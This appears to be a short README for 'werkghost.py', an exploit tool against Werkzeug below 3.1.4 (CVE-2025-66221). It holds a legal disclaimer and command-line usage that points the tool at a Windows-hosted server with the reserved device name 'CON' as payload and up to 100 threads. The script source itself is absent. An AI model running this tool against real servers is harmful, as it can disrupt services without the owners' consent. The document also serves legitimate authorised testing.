Exploit for Werkzeug < 3.1.4 (CVE-2025-66221)
This script is provided solely for controlled security testing and research purposes. It must only be used on systems and environments for which you have explicit, written authorization. Any use outside of legally sanctioned testing — including against third-party, public, or production systems — is strictly prohibited and may violate local and international laws. You assume full responsibility for all actions taken with this tool. The author accepts no liability for misuse, damages, service disruption, or legal consequences arising from unauthorized activity.
You have to install requests before start using the script.
pip install requests python werkghost.py -u <url> -p <payload> -d <Directory> --timeout <timeout :D> -t <threads>python werkghost.py -u http://127.0.0.1:8000 -p CON -d download --timeout 3 -t 100Note:
- The target web server must be running on Windows.
- If the operation fails or produces inconsistent results, increase the number of worker threads and retry.